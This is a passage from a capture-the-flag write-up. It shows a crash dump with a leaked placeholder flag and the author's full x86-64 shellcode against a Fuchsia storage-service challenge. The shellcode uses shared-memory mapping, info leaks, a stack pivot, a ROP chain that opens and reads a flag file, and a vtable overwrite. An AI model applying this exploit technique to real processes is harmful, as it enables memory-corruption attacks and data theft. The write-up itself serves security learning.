LOAD:0000000000005683                 pop     r14 ; 0x120
LOAD:0000000000005685                 pop     r15 ; 0x128
LOAD:0000000000005687                 retn

Finally, we can write a ROP chain that will open the flag, read it into the shared memory, here is the result:


[02407.230] 01413:02022> <== fatal exception: process /pkg/bin/caidanti-storage-servi[9520] thread initial-thread[9522]
[02407.230] 01413:02022> <== execute not-present page fault, PC at 0xdeadbeef
[02407.230] 01413:02022>  CS:                   0 RIP:         0xdeadbeef EFL:              0x206 CR2:         0xdeadbeef
[02407.230] 01413:02022>  RAX:               0x51 RBX:                  0 RCX: 0xd6193202d941efa3 RDX:                0x2
[02407.230] 01413:02022>  RSI:     0x258e85aad8c8 RDI:     0x35cd47721990 RBP:     0x258e85aaff90 RSP:     0x1c49d47b28b0
[02407.230] 01413:02022>   R8:                  0  R9:     0x258e85aaddd0 R10:                  0 R11:     0x7a9ce6c9b7a8
[02407.230] 01413:02022>  R12:     0x297f766725d4 R13:     0x1c49d47b2000 R14: 0x2682000000000001 R15:     0x1c49d47b2918
[02407.230] 01413:02022>  fs.base:     0x45c4e2b3eb38 gs.base:                  0
[02407.231] 01413:02022>  errc:              0x14
[02407.231] 01413:02022> bottom of user stack:
[02407.231] 01413:02022> 0x00001c49d47b28b0: 4a4a4a4a 4a4a4a4a 4a4a4a4a 4a4a4a4a |JJJJJJJJJJJJJJJJ|
[02407.231] 01413:02022> 0x00001c49d47b28c0: 4a4a4a4a 4a4a4a4a 4a4a4a4a 4a4a4a4a |JJJJJJJJJJJJJJJJ|
[02407.231] 01413:02022> 0x00001c49d47b28d0: 4a4a4a4a 4a4a4a4a 4a4a4a4a 4a4a4a4a |JJJJJJJJJJJJJJJJ|
[02407.231] 01413:02022> 0x00001c49d47b28e0: 4a4a4a4a 4a4a4a4a 00000000 00000000 |JJJJJJJJ........|
[02407.231] 01413:02022> 0x00001c49d47b28f0: 00000000 00000000 00000000 00000000 |................|
[02407.231] 01413:02022> 0x00001c49d47b2900: 00000000 00000000 00000000 00000000 |................|
[02407.231] 01413:02022> 0x00001c49d47b2910: 00000000 00000000 74637772 65527b66 |........rwctf{Re|
[02407.231] 01413:02022> 0x00001c49d47b2920: 66206c61 2067616c 6c6c6977 20656220 |al flag will be |
[02407.231] 01413:02022> 0x00001c49d47b2930: 65726568 206e6f20 20656874 76726573 |here on the serv|
[02407.231] 01413:02022> 0x00001c49d47b2940: 41417265 41414141 41414141 41414141 |erAAAAAAAAAAAAAA|
[02407.231] 01413:02022> 0x00001c49d47b2950: 41414141 41414141 41414141 41414141 |AAAAAAAAAAAAAAAA|
[02407.231] 01413:02022> 0x00001c49d47b2960: 41414141 41414141 0000007d 00000000 |AAAAAAAA}.......|
[02407.231] 01413:02022> 0x00001c49d47b2970: 87721470 000035cd 00000080 00000000 |p.r..5..........|
[02407.231] 01413:02022> 0x00001c49d47b2980: 00000090 80000000 4b4b4b4b 4b4b4b4b |........KKKKKKKK|
[02407.231] 01413:02022> 0x00001c49d47b2990: 4b4b4b4b 4b4b4b4b 4b4b4b4b 4b4b4b4b |KKKKKKKKKKKKKKKK|
[02407.231] 01413:02022> 0x00001c49d47b29a0: 4b4b4b4b 4b4b4b4b 4b4b4b4b 4b4b4b4b |KKKKKKKKKKKKKKKK|


Yayaya! We have the flag in shared memory, what we can do now is to read it out from caidanti process and printf it! Nice, right :D?

Anyway, here is the final shellcode:

BITS 64

global _start


; offset list 

; libc
fopen_offset equ 0x35030
fread_offset equ 0x39200


; canidanti 

open_offset equ 0xAD30
flag_offset equ 0x22F1

; printf
printf_offset equ 0xAC40


; new/malloc
new_offset equ 0xAC60

; memset
memset_offset equ 0xAC30

zx_vmo_get_size_offset equ 0xACA0
zx_vmar_root_self_offset equ 0xACB0
zx_vmar_map_offset equ 0xACC0

; free stack
stack_free equ 0x300


; input buffer
stack_offset_1 equ 0x200
; output buffer
stack_offset_2 equ 0x250
; service object offset
service_obj_offset equ 0xC140

; stack pivot

stack_pivot_offset equ 0x3DF0
stack_pivot_2_offset equ 0x682
; base to get the base ptr of the caidanti 
caidanti_base equ 0x1205

; macro list

; calculate caidanti base address	
%macro get_caidanti_base_address 0
	MOV RAX, caidanti_base
	MOV	RBX, [RSP]
	SUB RBX, RAX 
%endmacro

; get service object 
%macro get_service_object 0
	MOV RAX, service_obj_offset
	MOV R14, RBX
	ADD R14, RAX  ; service object address in memory
%endmacro

; memset
%macro memset 0
	MOV RAX, memset_offset
	MOV R12, RBX
	ADD R12, RAX

	CALL R12
%endmacro

%macro malloc 1
	MOV RAX, new_offset
	MOV R12, RBX
	ADD R12, RAX
	MOV RDI, %1

	CALL R12
%endmacro


%macro service_create_secret 0
	MOV RAX, [R14]
	MOV RAX, [RAX]
	MOV RDI, [R14]

	CALL [RAX + 0x10]
%endmacro

%macro service_update_content 0
	MOV RAX, [R14]
	MOV RAX, [RAX]
	MOV RDI, [R14]

	CALL [RAX + 0x20]
%endmacro


%macro return_to_main 0
	MOV R12, RBX
	MOV RAX, 0xFC3
	ADD R12, RAX
	JMP R12
%endmacro

%macro zx_vmo_get_size 0
	MOV RAX, zx_vmo_get_size_offset
	MOV R12, RBX
	ADD R12, RAX

	CALL R12
%endmacro

%macro zx_vmar_root_self 0
	MOV RAX, zx_vmar_root_self_offset
	MOV R12, RBX
	ADD R12, RAX

	CALL R12
%endmacro



; storage service:

print_text_storage_service equ 0x2C7

_start:
	
	; setup the caidanti .base address
	; get the service object address
	; memset r13 that we will use to setup our .data

		get_caidanti_base_address
		get_service_object

		; memset R13 region that we will use to setup our stuff
		LEA RDI, [R13 - 0x1200]
		XOR ESI, ESI
		MOV EDX, 0x400
		
		memset


	; setup the update call, so we can get a VMO (virtual memory object)
	; that will allow us to map caidanti-storage-service memory into our process 
	; basically shared memory

		; setup the input and output buffer
		LEA RSI, [R13 - 0x1110]

		; write string 'A'
		MOV RAX, 0x416564614d756f59
		MOV [RSI], RAX
		MOV RAX, 0x6c6c61434c444946
		MOV [RSI+8], RAX

		MOV RAX, 0x0
		LEA RSI, [R13 - 0x1150]
		MOV [RSI], RAX

		LEA RSI, [R13 - 0x1148]
		MOV [RSI], RAX

		LEA RSI, [R13 - 0x1138]
		MOV [RSI], RAX

		MOV RAX, 0x10
		LEA RSI, [R13 - 0x1131]
		MOV [RSI], RAX

		; build some object in rsp lol
		LEA RAX, [R13 - 0x1150]
		MOV [RSP+0x20], RAX

		LEA RAX, [R13 - 0x1110]
		MOV [RSP+0x10], RAX

		MOV RAX, 0x1
		MOV [RSP+0x8], RAX
		
		MOV RAX, 0x4141414141414141
		LEA RSI, [R13 - 0x1148]
		MOV [RSI], RAX
		MOV RAX, 0x4141414141414141
		MOV [RSI+8], RAX

		; calculate the vtable ptr
		MOV RAX, [R14]
		MOV RAX, [RAX]

		LEA RSI, [R13 - 0x1148]
		MOV RDX, [RSP + 0x20]
		MOV RDI, [R14]

		CALL [RAX + 0x20]


	; at this point, we will have a VMO handle returned via IPC
	; we can use it to map VMAR (virtual memory region) into our 
	; process that will be shared with storage service

		; get object
		LEA RSI, [R13 - 0x1150]
		MOV RSI, [RSI]
		
		MOV EDI, [RSI] ; get handle
		LEA RSI, [R13 - 0x1120]

		zx_vmo_get_size
		zx_vmar_root_self

		MOV EDI, EAX ; handle from vmar root self

		LEA RSI, [R13 - 0x1150]   ; vmo handle
		MOV RSI, [RSI]	
		MOV ECX, [RSI] ; get handle

		MOV ESI, 0x3
		XOR EDX, EDX
		XOR R8D, R8D
		MOV R9, 0x00020000 ; size

		LEA RAX, [R13 - 0x1110]
		MOV [RAX], RDX
		MOV [RAX + 8], RDX
		MOV [RSP], RAX ; dst

		MOV RAX, zx_vmar_map_offset
		MOV R12, RBX
		ADD R12, RAX

		CALL R12


	; we can use the shared memory to info leak a vtable + shared memory base address
	; lets do it to setup our ROP and take over the storage service process

		; read vtable from shared memory 
		LEA RSI, [R13 - 0x1110]
		MOV RSI, [RSI]
		MOV RSI, [RSI + 0x30]
		MOV RAX, 0xE0A0
		SUB RSI, RAX      ; RSI = .text base

		; calculate address for the stack pivot
		MOV RAX, stack_pivot_offset 
		MOV R12, RSI
		ADD R12, RAX

		; store service storage .text base so we can ROP later
		MOV R11, RSI

		; leak shared memory base address in the another side
		LEA RSI, [R13 - 0x1110]
		MOV RSI, [RSI]
		MOV RAX, 0x50
		ADD RSI, RAX
		MOV R14, [RSI]      ; R12 = shared memory base address


	; now we will setup a few gadget (some sort of JOP)
	; to get control over the RSP
	; its annoying but works 
	; after it, we will ROP to read the flag into shared memory
	; so we can leak it back to caidanti process

		; <---------------- BEING STACK PIVOT + ROP -----------<

		LEA RSI, [R13 - 0x1110]
		MOV RSI, [RSI]

		; control R14 
		;LOAD:0000000000006928                 mov     r14, rdi
		;LOAD:000000000000692B                 mov     rax, [rdi+20h]
		;LOAD:000000000000692F                 add     rdi, 30h
		;LOAD:0000000000006933                 call    qword ptr [rax+20h]	
			
		MOV RAX, 0x1928
		MOV R12, R11
		ADD R12, RAX
		MOV [RSI + 0x70], R12  ; stack pivot
		

		; at this point RDI will be shared_memory base
		; so RAX = shared_memory+0x20
		; fptr = RAX+0x20
		; so lets make shared_memory+0x20 = shared_memory+0x100
		; and inside shared_memory+0x100 we store the next gadget

		MOV RAX, 0x100
		MOV R12, R14
		ADD R12, RAX
		MOV [RSI + 0x20], R12

		;LOAD:0000000000011E3C                 mov     rax, [r14+28h]
		;LOAD:0000000000011E40                 test    rax, rax
		;LOAD:0000000000011E43                 jz      short loc_11E4E
		;LOAD:0000000000011E45                 mov     rsi, [r14+30h]
		;LOAD:0000000000011E49                 mov     rdi, r14
		;LOAD:0000000000011E4C                 call    rax

		MOV RAX, 0xCE3C
		MOV R12, R11
		ADD R12, RAX
		MOV [RSI + 0x120], R12

		; at this point, we have control over R14!
		; now next gadget to control rsi!
		; at this point R14 is shared_memory base 

		; so shared_memory+0x28 == next gadget
		; shared_memory+0x30 == rsi == shared_memory+0x120

		MOV RAX, 0x1613
		MOV R12, R11
		ADD R12, RAX
		MOV [RSI + 0x28], R12  ; next gadget

		MOV RAX, 0x820
		MOV R12, R14
		ADD R12, RAX
		MOV [RSI + 0x30], r12 ; RSI = shared_memory+0x820


		; now we need to restore RAX 
		; at this point, RAX = shared_memory+0x820
		; next gadget will be shared_memory+0x840

		;LOAD:0000000000006613                 mov     rax, [r14+30h]
		;LOAD:0000000000006617                 lea     rdi, [r14+40h]
		;LOAD:000000000000661B                 call    qword ptr [rax+20h]

		MOV RAX, 0x5D4
		MOV R12, R11
		ADD R12, RAX
		MOV [RSI + 0x840], R12


		; finally, we can push rax into stack without
		; trigger a CALL that will increment the stack pointer
		; unfortunately I couldnt find a gadget to pop something before RSP :(
		; to control the next gadget we will need to overwrite shared_memory+0x84E
		;LOAD:00000000000055D4                 push    rax
		;LOAD:00000000000055D5                 jmp     qword ptr [rsi+2Eh]

		MOV RAX, 0x682
		MOV R12, R11
		ADD R12, RAX
		MOV [RSI + 0x84E], R12

		; finally, we control the stack
		;LOAD:0000000000005682                 pop     rsp
		;LOAD:0000000000005683                 pop     r14 ; 0x120
		;LOAD:0000000000005685                 pop     r15 ; 0x128
		;LOAD:0000000000005687                 retn

		MOV RAX, 0x680
		MOV R12, R11
		ADD R12, RAX
		MOV [RSI + 0x830], R12  ; we control the RIP at this point/stack 

		; stack will be:
		; shared_memory + 0x820
		; lets pop to skip 0x840 and 0x84E so we can write our ROP without to worry about
		; the previous gadget

		;LOAD:0000000000005680                 pop     rbx
		;LOAD:0000000000005681                 pop     r12
		;LOAD:0000000000005683                 pop     r14
		;LOAD:0000000000005685                 pop     r15
		;LOAD:0000000000005687                 retn



		; free from the system, free from the fox die lul
		; okay, we are free to write the rop chain



		; open('pkg/data/flag', 0, 0)

		; 0x000000000000548b: pop rdi; ret; 

		MOV RAX, 0x48B
		MOV R12, R11
		ADD R12, RAX
		MOV [RSI + 0x858], R12 ; gadget pop rdi

		MOV RAX, 0x2A98
		MOV R12, R11
		SUB R12, RAX
		MOV [RSI + 0x860], R12 ; address with the flag string

		; 0x00000000000053cd: pop rsi; ret; 
		MOV RAX, 0x3CD
		MOV R12, R11
		ADD R12, RAX
		MOV [RSI + 0x868], R12

		MOV RAX, 0x0
		MOV [RSI + 0x870], RAX ; set rsi to 0

		MOV RAX, 0xD7E0
		MOV R12, R11
		ADD R12, RAX
		MOV [RSI + 0x878], R12 ; open(text, 0x0)

		; read(fd, buf, nbytes)
		; we need to move eax to edi
		; we need to control edx and rsi

		; LOAD:000000000000A000                 pop     rsi
		; LOAD:000000000000A001                 pop     r15
		; LOAD:000000000000A003                 retn

		; 0x00000000000055d4: push rax; jmp qword ptr [rsi + 0x2e]; 
		; 0x000000000000548b: pop rdi; ret; 
		; ill yolo with RDX lmao

		MOV RAX, 0x5000
		MOV R12, R11
		ADD R12, RAX
		MOV [RSI + 0x880], R12   ; pop rsi, r15 retn

		MOV RAX, 0x918
		MOV R12, R14
		ADD R12, RAX
		MOV [RSI + 0x888], R12   ; shared_memory+0x918
		MOV [RSI + 0x890], R12

		MOV RAX, 0x5d4
		MOV R12, R11
		ADD R12, RAX
		MOV [RSI + 0x898], R12   ; push rax, jmp qword ptr [rsi + 0x2e]

		MOV RAX, 0x48B
		MOV R12, R11
		ADD R12, RAX             ; pop rdi, ret

		MOV [RSI + 0x946], R12   ; 0x2E + 0x918 that will be used by the jmp qword ptr

		MOV RAX, 0xD900
		MOV R12, R11
		ADD R12, RAX
		MOV [RSI + 0x8A0], R12  ; read

		MOV RAX, 0xDEADBEEF
		MOV [RSI + 0x8A8], RAX ; at this point youll have the flag in the shared memory
		; we just need to read it out and print

		; <-------------------- END <--------------------------<


	; We have finished the annoying part, we are ready to take over the vtable in shared memory 
	; and control the code flow in storage process

		LEA RSI, [R13 - 0x1110]
		MOV RSI, [RSI]
		MOV RAX, 0x50
		ADD RSI, RAX
		MOV R12, [RSI]      ; R12 = shared memory base address
		MOV RAX, 0x70
		ADD R12, RAX        ; R12 = shared_memory+0x70 (first ptr that we control)

		; takeover vtable in shared memory
		LEA RSI, [R13 - 0x1110]
		MOV RSI, [RSI]
		MOV [RSI], R12
		ADD RSI, RAX

	; force a crash, usually Id wait for the content being written in shared memory
	; unfortunately I didnt finish it in time, so it doesnt matter now

	MOV RSP, RSI
	INT 3

	return_to_main

As I said before, I wasn’t able to finish the part 2 in time.. still, it was a nice experience and I really enjoyed to write an exploit for that challenge (▰˘◡˘▰). Anyway, Real World CTF was amazing hah!

If you’ve any question, suggestion, feel free to leave it in the comments and I’ll answer ASAP :D.

[]’s

See ya next time!

Capture the Flag , Pwnable , Reverse Engineering , Shellcode , Writeup